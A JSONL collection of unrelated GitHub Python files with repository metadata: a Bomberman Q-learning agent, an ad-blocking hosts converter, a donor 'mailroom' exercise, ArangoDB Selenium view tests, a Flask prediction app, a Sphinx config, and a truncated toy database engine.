contact_rels\n\ndef terms_from_doi(doi_doc):\n if \"categories\" not in doi_doc and \"subject\" not in doi_doc:\n return list()\n\n raw_terms = list()\n if \"categories\" in doi_doc:\n raw_terms.extend(doi_doc[\"categories\"])\n if \"subject\" in doi_doc:\n raw_terms.extend(doi_doc[\"subject\"])\n\n term_rels = list()\n for term in raw_terms:\n term_rel = doi_rel_stub(doi_doc)\n term_rel[\"name\"] = term\n term_rel[\"rel_type\"] = \"ADDRESSES_SUBJECT\"\n term_rel[\"entity_type\"] = \"UndefinedSubjectMatter\"\n term_rels.append(term_rel)\n\n return term_rels\n\n","repo_name":"skybristol/pylinkedcmd","sub_path":"pylinkedcmd/doi.py","file_name":"doi.py","file_ext":"py","file_size_in_byte":5577,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"26680637506","text":"import sys\nimport random\n\nsys.path.insert(0, '../bomberman')\n# Import necessary stuff\nfrom entity import CharacterEntity\nfrom colorama import Fore, Back\nfrom itertools import product, starmap\nimport math\nfrom collections import defaultdict\nimport numpy as np\nimport pandas as pd\nimport csv\nrandom.seed(1)\n\nclass QLAgent(CharacterEntity):\n\n def __init__(self,name,avatar,x,y,inter):\n CharacterEntity.__init__(self,name,avatar,x,y)\n self.name = name\n self.avatar = avatar\n self.startX, self.startY = x,y\n self.wrld = None\n self.bombPlaced = False\n self.bombTimer = 11\n self.agentX, self.agentY = self.startX,self.startY\n self.agentLX,self.agentLY = self.startX,self.startY\n self.exitX, self.exitY = -1,-1\n self.bombX, self.bombY = -1, -1\n self.inter = inter\n self.lastState = ''\n self.QTable = \"\"\n self.readQTable()\n self.nextAction = 0\n\n def restart(self,wrld):\n CharacterEntity.__init__(self,self.name,self.avatar,self.startX,self.startY)\n self.agentX,self.angetY = self.startX,self.startY\n self.agentLX,self.agentLY = self.startX,self.startY\n self.bombTimer = 11\n self.bombX, self.bombY = -1, -1\n\n\n def do(self, wrld):\n self.wrld = wrld\n self.lastState = self.getState()\n if self.exitX == -1 and self.exitY == -1:\n self.exitX,self.exitY = self.getExitCordinates()\n if self.inter:\n self.interactiveMoves()\n else:\n # self.qLearning()\n pass\n\n def interactiveMoves(self):\n # Commands\n dx, dy = 0, 0\n bomb = False\n # Handle input\n for c in input(\"How would you like to move (w=up,a=left,s=down,d=right,b=bomb)? \"):\n if 'w' == c:\n dy -= 1\n if 'a' == c:\n dx -= 1\n if 's' == c:\n dy += 1\n if 'd' == c:\n dx += 1\n if 'b' == c:\n bomb = True\n # Execute commands\n self.move(dx, dy)\n if bomb:\n self.place_bomb()\n\n def wallAhead(self,dx,dy):\n try:\n return self.wrld.wall_at(self.agentX+dx,self.agentY+dy)\n except:\n return True\n\n def move(self,dx,dy):\n self.agentLX, self.agentLY = self.agentX,self.agentY\n if not self.wallAhead(dx,dy):\n self.agentX = max(0, min((self.agentX + dx), self.wrld.width()-1))\n self.agentY = max(0, min((self.agentY + dy), self.wrld.height()-1))\n if self.bombPlaced:\n self.bombTimer -= 1\n if self.bombTimer == -1:\n self.bombTimer = 11\n self.bombX,self.bombY = -1,-1\n self.bombPlaced = False\n\n # Test Prints\n # print(\"Agent Coordinates: {} {}\".format(self.agentX, self.agentY))\n # print(\"Neighboring Cells: {}\".format(self.getNeighborcells()))\n # print(\"Wall Channel: {}\".format(self.getWallChannel()))\n # print(\"Explosion Channel: {}\".format(self.getExplosionChannel()))\n # print(\"Monster Channel: {}\".format(self.getMonsterChannel()))\n # print(\"In Detonation Zone: {}\".format(self.inDetonationZone()))\n # print(\"Exit Path: {}\".format(self.getExitPath()))\n # print(self.getState())\n super(QLAgent, self).move(dx,dy)\n # print(\"Agent Old Coordinates: {} {}\".format(self.agentLX, self.agentLY))\n # print(\"Agent Coordinates: {} {}\".format(self.agentX, self.agentY))\n # print(\"Wall Channel: {}\".format(self.getWallChannel()))\n # print(\"Det Channel: {}\".format(self.getDetonationChannel()))\n # print(\"Explosion Channel: {}\".format(self.getExplosionChannel()))\n # print(\"Exit Path: {}\".format(self.getExitPath()))\n # print(\"Bomb Timer: {}\".format(self.bombTimer))\n # print(\"Bomb Location: {}, {}\".format(self.bombX,self.bombY))\n # print(\"State: {}\".format(self.getState()))\n return self.getState(), self.getReward()\n #\n # print(\"We Died :(\")\n\n def place_bomb(self):\n reward = 0\n super(QLAgent, self).place_bomb()\n if not self.bombPlaced:\n reward = +1\n self.bombPlaced = True\n else:\n reward = -2\n return self.getState(), reward\n # Return a list of all neighbors with their cordinates, if out of bounds, the cell is (-1,-1)\n\n \"\"\"\n [1] Character Position\n [2] Cell Above\n [3] Cell Bellow\n [4] Cell Left\n [5] Cell Left-Above\n [6] Cell Left-Down\n [7] Cell Right\n [8] Cell Right-Above\n [9] Cell Right-Down\n \"\"\"\n def getNeighborcells(self):\n cells = starmap(lambda a,b: (self.agentX+a, self.agentY+b), product((0,-1,+1), (0,-1,+1)))\n # Lambda function to only keep neighboring cells in bounds, any [-1,-1] cells are through aways\n return list(map(lambda cell : [-1,-1] if (cell[0]==-1 or cell[1]==-1 or cell[0] > self.wrld.width()-1 or cell[1] > self.wrld.height()-1) else cell ,cells))\n # def QAgent(self):\n # return\n\n def getWallChannel(self):\n neighborCells = self.getNeighborcells()\n wallChannel = []\n for cell in neighborCells:\n if cell == [-1,-1]:\n wallChannel.append(1)\n else:\n if self.wrld.wall_at(cell[0],cell[1]):\n wallChannel.append(1)\n else:\n wallChannel.append(0)\n return wallChannel\n\n def getExplosionChannel(self):\n neighborCells = self.getNeighborcells()\n explosionChannel = []\n for cell in neighborCells:\n if cell == [-1,-1]:\n explosionChannel.append(0)\n else:\n if self.wrld.explosion_at(cell[0],cell[1]) is not None:\n explosionChannel.append(1)\n else:\n explosionChannel.append(0)\n return explosionChannel\n\n def inDetonationZone(self):\n inRangeFlag = False\n if self.bombTimer == 11:\n return (0,0)\n else:\n if self.agentX == self.bombX and self.agentY == self.bombY:\n inRangeFlag= True\n elif self.agentX == self.bombX and self.agentY != self.bombY and not inRangeFlag:\n for i in range(-5,5,1):\n if self.agentY == self.bombY + i:\n inRangeFlag = True\n elif self.agentX != self.bombX and self.agentY == self.bombY and not inRangeFlag:\n for i in range(-5,5,1):\n if self.agentX == self.bombX + i:\n inRangeFlag = True\n if inRangeFlag:\n return (1,1)\n # if self.bombTimer < 6:\n # return (1,1)\n # else: return (1,0)\n else:\n return (0,0)\n\n def getDetonationChannel(self):\n neighboringCells = self.getNeighborcells()\n detChannel = []\n aPFlag = True\n for cell in neighboringCells:\n aPFlag = True\n if self.bombTimer >= 3:\n detChannel.append(0)\n else:\n if cell[0] == self.bombX and cell[1] == self.bombY:\n detChannel.append(1)\n elif cell[0] == self.bombX and cell[1] != self.bombY:\n for i in range(-5, 5, 1):\n if cell[1] == self.bombY + i:\n detChannel.append(1)\n aPFlag = False\n if aPFlag:\n detChannel.append(0)\n elif cell[0] != self.bombX and cell[1] == self.bombY:\n for i in range(-5, 5, 1):\n if cell[0] == self.bombX + i:\n detChannel.append(1)\n aPFlag = False\n if aPFlag:\n detChannel.append(0)\n else: detChannel.append(0)\n\n return detChannel\n\n\n def getMonsterChannel(self):\n monsterChannel = []\n mX,mY = self.getMonsterLocation()\n if mX != -1 and mY != -1:\n pX, pY = self.getMonsterPath()\n # try:\n # monsterChannel.append(1/self.getDistance(self.agentX,mX,self.agentY,mY))\n # except:\n # monsterChannel.append(0)\n monsterChannel.append(1)\n monsterChannel.append(pX)\n monsterChannel.append(pY)\n else:\n monsterChannel.append(0)\n monsterChannel.append(0)\n monsterChannel.append(0)\n return monsterChannel\n\n def getMonsterLocation(self):\n for x in range(self.agentX-4, self.agentX+4, 1):\n for y in range(self.agentY-4, self.agentY+4,1):\n try:\n if self.wrld.monsters_at(x,y):\n return (x,y)\n except:\n continue\n return (-1,-1)\n\n def getExitCordinates(self):\n for x in range(self.wrld.width()):\n for y in range(self.wrld.height()):\n if self.wrld.exit_at(x,y):\n return (x,y)\n\n def getExitPath(self):\n x,y = 0,0\n if self.agentX > self.exitX:\n x = -1\n if self.agentX < self.exitX:\n x = 1\n if self.agentY > self.exitY:\n y = -1\n if self.agentY < self.exitY:\n y = 1\n return x,y\n\n def getMonsterPath(self):\n x,y = 0,0\n mX, mY = self.getMonsterLocation()\n if self.agentX >mX:\n x = -1\n if self.agentX < mX:\n x = 1\n if self.agentY > mY:\n y = -1\n if self.agentY < mY:\n y = 1\n return x,y\n\n def getDistance(self, x1,y1,x2,y2):\n return math.sqrt(math.pow(x2-x1,2)+math.pow(y2-y1,2))\n\n def getState(self):\n state = []\n for i in self.getWallChannel():\n state.append(i)\n\n for i in np.logical_or(self.getExplosionChannel(),self.getDetonationChannel()):\n if i:\n state.append(1)\n else:\n state.append(0)\n\n for i in self.getMonsterChannel():\n state.append(i)\n #\n # inDet = self.inDetonationZone()\n # state.append(inDet[0])\n # state.append(inDet[1])\n\n if self.bombPlaced:\n state.append(0)\n else:\n state.append(1)\n\n eX,eY = self.getExitPath()\n state.append(eX)\n state.append(eY)\n\n return str(state)\n\n def getReward(self):\n # self.locations.add(\"{},{}\".format(self.agentX,self.agentY))\n # if \"{},{}\".format(self.agentX,self.agentY) in self.locations:\n # return -1\n \n cur_Distance = math.ceil(self.getDistance(self.agentX,self.agentY,self.exitX,self.exitY))\n last_Distance = math.ceil(self.getDistance(self.agentLX,self.agentLY,self.exitX,self.exitY))\n # print(\"Cur Distance: {}\".format(cur_Distance))\n # print(\"Last Distance: {}\".format(last_Distance))\n if last_Distance == cur_Distance:\n return -2\n elif cur_Distance > last_Distance:\n return -2\n elif cur_Distance < last_Distance:\n return 1\n\n \n def rewardAtWall(self):\n dx,dy = self.getExitPath()\n print(\"dx: {} dy: {}\".format(dx,dy))\n try:\n return self.wrld.wall_at(self.agentX+dx,self.agentY+dy)\n except:\n return False\n\n def createEpsilonGreedyPolicy(self, epsilon):\n \"\"\"\n Creates an epsilon-greedy policy based\n on a given Q-function and epsilon.\n\n Returns a function that takes the state\n as an input and returns the probabilities\n for each action in the form of a numpy array\n of length of the action space(set of possible actions).\n \"\"\"\n\n def policyFunction(state):\n Action_probabilities = np.ones(10,\n dtype=float) * epsilon / 10\n\n best_action = np.argmax(self.QTable[state])\n Action_probabilities[best_action] += (1.0 - epsilon)\n return Action_probabilities\n\n return policyFunction\n\n\n def qLearning(self, discount_factor=0.8 ,\n alpha=0.8, epsilon=0.0):\n policy = self.createEpsilonGreedyPolicy(epsilon)\n state = self.getState()\n action_probabilities = policy(state)\n\n action = np.random.choice(np.arange(\n len(action_probabilities)),\n p=action_probabilities\n )\n\n self.step(action)\n next_state = self.getState()\n reward = self.getReward()\n\n #TD Update\n best_next_action = np.argmax(self.QTable[next_state])\n td_target = reward + discount_factor * self.QTable[next_state][best_next_action]\n td_delta = td_target - self.QTable[state][action]\n self.QTable[state][action] += alpha * td_delta\n \n \"\"\"\n 0 = no move\n 1 = down\n 2 = right\n 3 = down right\n 4 = Up\n 5 = Left\n 6 = Up left\n 7 = Down right\n 8 = Down Left\n 9 = Place bomb\n \"\"\"\n def step(self,action):\n self.lastAction = action\n dx,dy = 0,0\n if action == 0:\n return self.move(0,0)\n elif action == 1:\n return self.move(0,1)\n elif action == 2:\n return self.move(1,0)\n elif action == 3:\n return self.move(1,1)\n elif action == 4:\n return self.move(0,-1)\n elif action ==5:\n return self.move(-1,0)\n elif action == 6:\n return self.move(-1,-1)\n elif action == 7:\n return self.move(-1,1)\n elif action == 8:\n return self.move(1,-1)\n elif action == 9:\n self.move(0,0)\n return self.place_bomb()\n\n def saveQTable(self):\n with open(\"QTable.csv\", \"w\", newline='') as f:\n w = csv.writer(f)\n for key, val in self.QTable.items():\n w.writerow([key, *val])\n f.close()\n\n\n def readQTable(self,file=\"QTable.csv\"):\n self.QTable = defaultdict(lambda: np.zeros(10))\n with open(file,'r') as f:\n r = csv.reader(f)\n for k, *v in r:\n self.QTable[k] = np.array(list(map(float,v)))\n\n def setNextAction(self,action):\n self.nextAction = action","repo_name":"eahatton/CS4341","sub_path":"Bomberman/group09/QLAgent.py","file_name":"QLAgent.py","file_ext":"py","file_size_in_byte":14445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"32288416024","text":"# coding=utf-8\n\nimport pathlib\nimport sys\n\nREDIRECT_HOST = \"127.0.0.1\"\n\n\ndef transfer(input_file: pathlib.Path, output_file: pathlib.Path):\n with input_file.open(mode=\"r\") as input_fp, output_file.open(mode=\"w\") as output_fp:\n for line in input_fp:\n if not line:\n continue\n elif line.startswith(\"#\"):\n output_fp.write(line)\n else:\n output_fp.write(REDIRECT_HOST + \" \" + line)\n\n\nif __name__ == \"__main__\":\n transfer(\n input_file=pathlib.Path(sys.argv[1]),\n output_file=pathlib.Path(sys.argv[2]),\n )\n","repo_name":"mrchi/adaway-hosts","sub_path":"transfer.py","file_name":"transfer.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"3130411117","text":"#!/usr/bin/env python3\n\n\"\"\"\nFunctional version of mailroom\n\"\"\"\n\nimport os\n\ndonor_dict = {\"Bill\":[2.75,3.12], \"Bob\": [52.75,15.11], \\\n\"Jim\": [27.36,2.07] , \"Ann\": [12.76,1.01], \"Beth\": [31245.75]}\ndonors = [donor for donor in donor_dict.keys()] \n\n\ndef pick_ty_recipient(name = None):\n if name == None: \n name = input(\"Pick or add a name (or type list)!\\n\")\n if name.strip().lower() == \"list\":\n print(\"\\n\".join(donors))\n # If some fool wants to keep typing \"list\" for some reason:\n name = pick_ty_recipient() \n return name.title().strip()\n\n\ndef thank_you_txt(name):\n return f\"Dear {name},\\n\\n \\tThanks so much for your generous\\\n donations totaling ${sum(donor_dict[name]):.2f}.\\n \\tWe are\\\n all incredibly grateful because blah blah. \\n\\n-NGO\"\n\n\ndef send_ty(name = None):\n \"\"\"Prints out a thank you letter to specified person, or to new person.\"\"\"\n name = pick_ty_recipient(name)\n if name not in donors and (name !=\"list\"):\n donor_dict[name] = [0,0]\n donation = input(\"How much did they donate?\\n\")\n try:\n donor_dict[name].append(float(donation))\n except ValueError:\n donation = input(\"Donation needs to be a number\")\n donor_dict[name].append(float(donation))\n print(thank_you_txt(name))\n return thank_you_txt(name)\n\n\ndef generate_report():\n \"\"\"print a report of donation averages by donor.\"\"\"\n report = \"{:16}|{:^13}|{:^11}|{:>13}\\n\".format(\"Donor Name\", \"Total Given\", \"Num Gifts\", \"Average Gift\")\n for name in donors:\n report+=\"{:17}${:>12.2f} {:>11} ${:>12.2f}\\n\".format(name, sum(donor_dict[name]), len(donor_dict[name]),(sum(donor_dict[name])/len(donor_dict[name])))\n print(report)\n return report\n\n\ndef send_letters():\n \"\"\"Send written letters to folder.\"\"\"\n for name in donors:\n name = \"_\".join(name.split()) # For people with multiple names\n filename = \"letters/\"+name+\".txt\"\n try:\n with open(filename, \"w+\") as f:\n f.write(thank_you_txt(name))\n except FileNotFoundError:\n os.mkdir(output_dir)\n with open(filename, \"w+\") as f:\n f.write(thank_you_txt(name))\n # Return \"sent!\" upon sucessful completion. For pytest\n return \"sent!\" \n\n\ndef challenge():\n # shorter with a list comp:\n # return sum([factor * donation for donations in donor_dict.values() for donation in donations if donation > min_donation and donation < max_donation])\n try:\n factor = int(input(\"By what factor do you wanna increase donations?\\n\"))\n min_donation = int(input(\"What's the min donation to increase by that factor?\\n\"))\n max_donation = int(input(\"What's the max donation to increase by that factor?\\n\"))\n except ValueError:\n print(\"Not a number, start over.\")\n return challenge()\n \n all_donations = [donation for donations in donor_dict.values() for donation in donations]\n filtered_list = filter(lambda x: x > min_donation and x < max_donation, all_donations)\n multiplier = lambda donation: donation * 2\n tot_donation = sum(list(map(multiplier, filtered_list)))\n print(f\"\"\"Total contribution, \n multiplying all donations less than {max_donation} \n and greater than {min_donation} by a factor of {factor} \n would be: {tot_donation}\"\"\")\n\n\ndef mailroom(choice = None):\n \"\"\"automate mail sending and report generation\"\"\"\n choices = \"\"\"Pick a number: \n 1. Send thank you \n 2. Create report \n 3. Send letters to all donors \n 4. Increase donations by a factor\n 5. Quit\\n\"\"\"\n arg_dict = {\"1\":send_ty, \"2\":generate_report, \"3\": send_letters, \"4\": challenge,\"5\":quit}\n if choice == None:\n choice = input(choices)\n while choice != \"5\":\n arg_dict.get(choice, 'Type \"1\", \"2\", \"3\", or \"4\", without the quotes.')()\n choice = input(choices)\n\n\nif __name__ == \"__main__\":\n mailroom()\n","repo_name":"UWPCE-PythonCert-ClassRepos/Wi2018-Classroom","sub_path":"students/Harry_Maher/Python210B/Session10/fp_mailroom.py","file_name":"fp_mailroom.py","file_ext":"py","file_size_in_byte":3930,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"70113245958","text":"#!/usr/bin/env python3\n\"\"\" views testsuite \"\"\"\n\nimport semver\nimport traceback\nfrom selenium_ui_test.test_suites.base_selenium_test_suite import BaseSeleniumTestSuite\nfrom test_suites_core.base_test_suite import testcase\nfrom selenium_ui_test.pages.views_page import ViewsPage\nimport time\n\n\n\nclass ViewsTestSuite(BaseSeleniumTestSuite):\n \"\"\" views testsuite \"\"\"\n @testcase\n def test_views(self):\n \"\"\"testing Views page\"\"\"\n # pylint: disable=too-many-statements\n print(\"---------Checking Views Begin--------- \\n\")\n views = ViewsPage(self.webdriver, self.cfg) # creating obj for viewPage\n assert views.current_user() == \"ROOT\", \"current user is root?\"\n assert views.current_database() == \"_SYSTEM\", \"current database is _system?\"\n\n self.exception = False\n self.error = None\n\n try:\n print(\"Selecting Views tab\\n\")\n views.navbar_goto(\"views\")\n\n # creating v3.9.x and v3.10.x for improved views\n if views.current_package_version() >= semver.VersionInfo.parse(\"3.9.0\"):\n \n # creating v3.11.3 improved view\n if views.current_package_version() >= semver.VersionInfo.parse(\"3.11.0\"):\n views.create_improved_views_311(\"arangosearch_view_3121\", \"arangosearch\", 0)\n views.create_improved_views_311(\"arangosearch_view_3122\", \"arangosearch\", 0)\n # views.create_improved_views_311(\"search_alias\", \"search-alias\", 0)\n print(\"Creating improved views completed \\n\")\n \n # Checking improved views for v3.10.x\n if semver.VersionInfo.parse(\"3.9.100\") < views.current_package_version() < semver.VersionInfo.parse(\"3.10.100\"):\n views.checking_improved_views_for_v310(\n \"improved_arangosearch_view_01\",\n views.select_improved_arangosearch_view_01,\n self.is_cluster\n )\n \n # Checking improved views for v3.9.x\n if (\n semver.VersionInfo.parse(\"3.8.100\")\n < views.current_package_version()\n < semver.VersionInfo.parse(\"3.9.100\")\n ):\n views.checking_improved_views(\n \"improved_arangosearch_view_01\",\n views.select_improved_arangosearch_view_01,\n self.is_cluster\n )\n\n elif views.current_package_version() <= semver.VersionInfo.parse(\"3.8.100\"):\n views.create_new_views('firstView')\n views.create_new_views('secondView')\n\n views.select_views_settings()\n print(\"Sorting views to descending\\n\")\n views.select_sorting_views()\n print(\"Sorting views to ascending\\n\")\n views.select_sorting_views()\n\n print(\"search views option testing\\n\")\n views.search_views(\"secondView\", views.search_second_view)\n views.search_views(\"firstView\", views.search_first_view)\n\n print(\"Selecting first Views \\n\")\n views.select_first_view()\n print(\"Selecting collapse button \\n\")\n views.select_collapse_btn()\n print(\"Selecting expand button \\n\")\n views.select_expand_btn()\n print(\"Selecting editor mode \\n\")\n views.select_editor_mode_btn(0)\n print(\"Switch editor mode to Code \\n\")\n views.switch_to_code_editor_mode()\n print(\"Switch editor mode to Compact mode Code \\n\")\n views.compact_json_data()\n\n print(\"Selecting editor mode \\n\")\n views.select_editor_mode_btn(1)\n print(\"Switch editor mode to Tree \\n\")\n views.switch_to_tree_editor_mode()\n\n print(\"Clicking on ArangoSearch documentation link \\n\")\n views.click_arangosearch_documentation_link()\n print(\"Selecting search option\\n\")\n views.select_inside_search(\"i\")\n print(\"Traversing all results up and down \\n\")\n views.search_result_traverse_down()\n views.search_result_traverse_up()\n\n if self.is_cluster:\n print('View rename is disabled in Cluster mode \\n')\n else:\n print(\"Rename firstViews to thirdViews started \\n\")\n views.clicking_rename_views_btn()\n views.rename_views_name(\"thirdView\")\n views.rename_views_name_confirm()\n print(\"Rename the current Views completed \\n\")\n self.webdriver.back()\n\n # checking negative scenarios for all package version\n if (\n semver.VersionInfo.parse(\"3.8.100\")\n < views.current_package_version()\n < semver.VersionInfo.parse(\"3.9.100\")\n ):\n views.checking_views_negative_scenario_for_views()\n\n except BaseException:\n print('x' * 45, \"\\nINFO: Error Occurred! Force Deletion Started\\n\", 'x' * 45)\n self.exception = True # mark the exception as true\n self.error = traceback.format_exc()\n\n finally:\n # deleting views for <= v3.8.x\n if views.current_package_version() < semver.VersionInfo.parse(\"3.9.0\"):\n print(\"Deleting views started for <= v3.8.x\\n\")\n views.delete_views('first_view', views.select_first_view_id)\n views.delete_views('renamed_view', views.select_renamed_view_id)\n views.delete_views('second_view', views.select_second_view_id)\n print('Deleting views completed for <= v3.8.x \\n')\n # deleting views for >= v3.9.x\n elif semver.VersionInfo.parse(\"3.8.100\") < views.current_package_version() \\\n < semver.VersionInfo.parse(\"3.9.100\"):\n print(\"Views deletion started for >= v3.9.x \\n\")\n views.delete_views('improved_arangosearch_view_01',\n views.select_improved_arangosearch_view_01)\n views.delete_views('modified_views_name', views.select_modified_views_name)\n views.delete_views('improved_arangosearch_view_02',\n views.select_improved_arangosearch_view_02)\n print(\"Views deletion completed for >= v3.9.x \\n\")\n\n # deleting improved views for v3.10.x\n elif views.current_package_version() > semver.VersionInfo.parse(\"3.9.100\"):\n print(\"Selecting Views tab\\n\")\n views.navbar_goto(\"views\")\n \n if views.current_package_version() >= semver.VersionInfo.parse(\"3.11.0\"):\n views.delete_views_312(\"arangosearch_view_3121\")\n views.delete_views_312(\"arangosearch_view_3122\")\n # views.delete_views_312(\"search_alias\")\n\n if semver.VersionInfo.parse(\"3.9.100\") < views.current_package_version() < semver.VersionInfo.parse(\"3.10.100\"):\n print(\"Deleting views started for >= v3.10.x\\n\")\n views.delete_views_310(\"improved_arangosearch_view_01\")\n views.delete_views_310(\"modified_views_name\")\n views.delete_views_310(\"improved_arangosearch_view_02\")\n views.delete_created_collection(\"views_collection\")\n print(\"Deleting views completed for >= v3.10.x\\n\")\n\n del views\n print(\"---------Checking Views completed--------- \\n\")\n if self.exception:\n raise Exception(self.error)\n","repo_name":"arangodb/release-test-automation","sub_path":"release_tester/selenium_ui_test/test_suites/views_test_suite.py","file_name":"views_test_suite.py","file_ext":"py","file_size_in_byte":7925,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"62"} +{"seq_id":"15425699024","text":"from flask import Flask, request, render_template\nimport pandas as pd\nimport numpy as np\nfrom sklearn.preprocessing import StandardScaler\nfrom BreastCancer.pipeline.predict_pipeline import CustomData,PredictPipeline\n\napplication = Flask(__name__)\n\napp = application\n\n#Route for the home page\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@app.route('/predictdata', methods=['GET', 'POST'])\ndef predict_datapoint():\n if request.method == 'GET':\n return render_template('home.html')\n else:\n data=CustomData(\n radius_mean = request.get('radius_mean'),\n texture_mean = request.get('texture_mean'),\n perimeter_mean = request.get('perimeter_mean'),\n area_mean = request.get('area_mean'),\n smoothness_mean = request.get('smoothness_mean'),\n compactness_mean = request.get('compactness_mean'),\n concavity_mean = request.get('concavity_mean'),\n concave_points_mean = request.get('concave_points_mean'),\n symmetry_mean = request.get('symmetry_mean'),\n fractal_dimension_mean = request.get('fractal_dimension_mean'),\n radius_se = request.get('radius_se'),\n texture_se = request.get('texture_se'),\n perimeter_se = request.get('perimeter_se'), \n area_se = request.get('area_se'),\n smoothness_se = request.get('smoothness_se'),\n compactness_se = request.get('compactness_se'),\n concavity_se = request.get('concavity_se'),\n concave_points_se = request.get('concave_points_se'),\n symmetry_se = request.get('symmetry_se'),\n fractal_dimension_se = request.get('fractal_dimension_se'),\n radius_worst = request.get('radius_worst'),\n texture_worst = request.get('texture_worst'),\n perimeter_worst = request.get('perimeter_worst'),\n area_worst = request.get('area_worst'),\n smoothness_worst = request.get('smoothness_worst'),\n compactness_worst = request.get('compactness_worst'),\n concavity_worst = request.get('concavity_worst'),\n concave_points_worst = request.get('concave_points_worst'),\n symmetry_worst = request.get('symmetry_worst'),\n fractal_dimension_worst= request.get('fractal_dimension_worst')\n )\n\n pred_df = data.get_data_as_data_frame()\n print(pred_df)\n\n\n predict_pipeline = PredictPipeline()\n results = predict_pipeline.predict(pred_df)\n return render_template('home.html', results=results[0])\n \n\nif __name__ == '__main__':\n app.run(host='0.0.0.0',debug=True) ","repo_name":"Prashantkhobragade/Breast_cancer_Detaction","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"34823286247","text":"# Configuration file for the Sphinx documentation builder.\n\n# -- Project information\n\nproject = 'LeetSolve'\ncopyright = '2023, Nhut Nguyen'\nauthor = 'Nhut Nguyen'\n\nrelease = '0.5'\nversion = '0.5.0'\n\n# -- General configuration\n\nextensions = [\n 'myst_parser',\n 'sphinx.ext.duration',\n 'sphinx.ext.doctest',\n 'sphinx.ext.autodoc',\n 'sphinx.ext.autosummary',\n 'sphinx.ext.intersphinx', \n]\n\nintersphinx_mapping = {\n 'python': ('https://docs.python.org/3/', None),\n 'sphinx': ('https://www.sphinx-doc.org/en/master/', None),\n}\nintersphinx_disabled_domains = ['std']\n\ntemplates_path = ['_templates']\n\nmaster_doc = 'index'\n# -- Options for HTML output\n\nhtml_theme = \"furo\"\nhtml_logo = \"img/logo_name.svg\"\nhtml_theme_options = {\n # 'logo_only': True,\n \"sidebar_hide_name\": True,\n # 'nosidebar': True,\n}\n\nsource_suffix = {\n '.rst': 'restructuredtext',\n '.md': 'markdown',\n}\n\nlatex_elements = {\n # The paper size ('letterpaper' or 'a4paper').\n #\n 'papersize': 'a4paper',\n\n # The font size ('10pt', '11pt' or '12pt').\n #\n 'pointsize': '12pt',\n\n # Additional stuff for the LaTeX preamble.\n #\n 'preamble': r'\\addto\\captionsenglish{\\renewcommand{\\contentsname}{Contents}}',\n\n # Latex figure (float) alignment\n #\n # 'figure_align': 'htbp', \n}\nlatex_show_urls = 'footnote'\n\n# Grouping the document tree into LaTeX files. List of tuples\n# (source start file, target name, title,\n# author, documentclass [howto, manual, or own class]).\nlatex_documents = [\n (master_doc, 'leetsolve.tex', 'The Problem Solver\\'s Guide To Coding',\n 'Nhut Nguyen, Ph. D.', 'book'),\n]\nlatex_docclass = {\n 'book': 'book',\n}\n","repo_name":"ntnhut/leetdocs","sub_path":"docs/source/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":1677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"20898218963","text":"\nimport os\nimport db\n\n# Inserts a record into the table\ndef insertTuple(UserQuery, currDB, isLocked, u, c):\n tbInput = db.inputCleaner(\"insert into \", UserQuery)\n\n tbName = tbInput.split()[0] # Gets table name\n tbRest = tbInput.replace(tbName, \"\").replace(\" values\", \"\") #.replace('\\t', \"\").replace(\" \", \"\")\n tbAttrs0 = tbRest[1:] # Leaves only string with attributes\n tbAttrs1 = tbAttrs0[:-1] \n tbAttrs = tbAttrs1.split(\",\") # Creates list from attributes\n tbAttrs[0] = tbAttrs[0].replace(\"(\", \"\")\n\n \n\n def appendToFile():\n f = open(filename, 'a')\n f.write('\\n')\n f.write(\" | \".join(tbAttrs)) # Writes list to file with pipe delimiter\n f.close()\n\n if (currDB != None):\n if db.tableCheck(tbName, currDB) == 1:\n if isLocked == 0:\n if u:\n os.system(f\"cp {currDB}/{tbName}.txt {currDB}/{tbName}.new.txt\")\n filename = currDB + '/' + tbName + '.new.txt'\n appendToFile()\n c.append(f\"rm {currDB}/{tbName}.txt\")\n c.append(f\"mv {currDB}/{tbName}.new.txt {currDB}/{tbName}.txt\")\n else:\n filename = currDB + '/' + tbName + '.txt'\n appendToFile()\n print(f\"1 new record inserted into {tbName}.\")\n else:\n print(f\"Error: Table {tbName} is locked!\")\n else:\n print(f\"!Failed to add values to {tbName} because it does not exist.\")\n else:\n print(\"Please select database to use.\")\n\n\n\n# Updates a record in the table\ndef updateTuple(UserQuery, currDB, isLocked, u, c):\n tbInput = db.inputCleaner(\"update \", UserQuery)\n\n tbName = tbInput.split()[0] # Gets table name\n setColumn = tbInput.split()[2] # Gets \"set\" column\n setRecord = tbInput.split()[4] #.replace(\"'\", \"\") # Gets \"set\" record\n whereColumn = tbInput.split()[6] # Gets \"where\" column\n whereRecord = tbInput.split()[8] #.replace(\"'\", \"\") # Gets \"where\" record\n\n def overwriteFile():\n f = open(filename, 'w')\n for line in tempFile:\n f.write(line)\n f.close()\n\n if (currDB != None):\n if db.tableCheck(tbName, currDB) == 1:\n if isLocked == 0:\n filename = currDB + '/' + tbName + '.txt'\n\n f = open(filename, 'r')\n tempFile = f.readlines()\n f.close()\n\n count = 0\n mods = 0\n setColumnNum = 0\n whereColumnNum = 0\n for line in tempFile:\n if (count == 0): # Headers\n columnList = line.split()\n del columnList[1::3]\n setColumnNum = columnList.index(setColumn)\n whereColumnNum = columnList.index(whereColumn)\n if (count > 0): # Values\n tupleDetails = line.split()\n if (tupleDetails[whereColumnNum] == whereRecord):\n # Update data, Add newline if last column in row\n if ((setColumnNum+2) > len(tupleDetails)):\n tupleDetails[setColumnNum] = f'{setRecord}\\n'\n # Update data\n else:\n tupleDetails[setColumnNum] = setRecord\n tempFile[count] = ' '.join(tupleDetails)\n mods += 1\n count += 1\n \n if u:\n 